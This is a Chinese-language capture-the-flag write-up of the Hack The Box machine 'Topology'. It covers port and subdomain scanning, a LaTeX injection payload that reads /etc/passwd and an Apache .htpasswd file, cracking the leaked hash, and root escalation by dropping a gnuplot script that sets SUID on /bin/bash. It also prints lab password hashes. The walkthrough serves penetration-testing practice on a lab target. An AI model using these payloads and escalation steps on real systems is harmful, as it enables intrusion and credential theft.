基本信息
- https://app.hackthebox.com/machines/Topology
- 10.10.11.217

端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.217 |
80
直接访问是一个小组主页,邮箱和页面链接得到域名:


子域名扫描
得到的域名添加hosts后扫描子域名,得到stats和dev:
1 | 10.10.11.217 topology.htb |
stats
Server 状态:

dev
需要登录:

latex.topology.htb
是一个在线latex转换器,输入latex输出png图片:

latex injection
latex自身语法功能强大,可以注入其他命令,例如读文件:
- PayloadsAllTheThings/LaTeX Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection - Formula/CSV/Doc/LaTeX Injection - HackTricks
https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#read-file
存在一些过滤,生成的图片提示不合法命令,但简单测试发现到这个的时候响应空白:
1 | \lstinputlisting{/etc/passwd} |
继续搜索latex语法,发现latex使用$
作为分隔符:
- 【LaTeX应用】常用数学公式和符号 - 知乎
https://zhuanlan.zhihu.com/p/464237097
单行文本公式放在
$
与$
之间,或者$$
与$$
之间,例如
1 $ y=x^2 $
所以最终读取文件的payload是:
1 | $\lstinputlisting{/etc/passwd}$ |

dev htpasswd
前面dev那里需要登录,结合是apache,那就可以直接读apache的 .htpassd文件:
1 | $\lstinputlisting{/var/www/dev/.htpasswd}$ |

得到的图片找个OCR提取出文本
1 | vdaisley : $apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0 |
htpasswd crack
然后破解hash,得到vdaisley的密码:
1 | cat hash.txt |
user flag
得到的账号密码ssh登录:

提权信息
运行pspy,发现gnuplot:

定时运行对应目录下的任意plt文件,这个目录我们有权限,可以创建要运行的plt文件:

另外gnuplt可以运行shell命令:
那就可以在自定义plt中执行任意命令
提权 & root flag
简单的加suid,等待触发执行:
1 | echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/miao.plt |

shadow
1 | root:$6$P153wNg6DwlTSIv0$QFutCIjQWlJM24O6vyD5aoRv7kyvivOykonMDItV8rSqKpznqsmxfK7L51il6V7yF75qHE.Hkv6YLK25TSEle1:19496:0:99999:7::: |
参考资料
- PayloadsAllTheThings/LaTeX Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection - Formula/CSV/Doc/LaTeX Injection - HackTricks
https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection#read-file - 【LaTeX应用】常用数学公式和符号 - 知乎
https://zhuanlan.zhihu.com/p/464237097 - Shell
http://www.gnuplot.info/docs_4.2/node327.html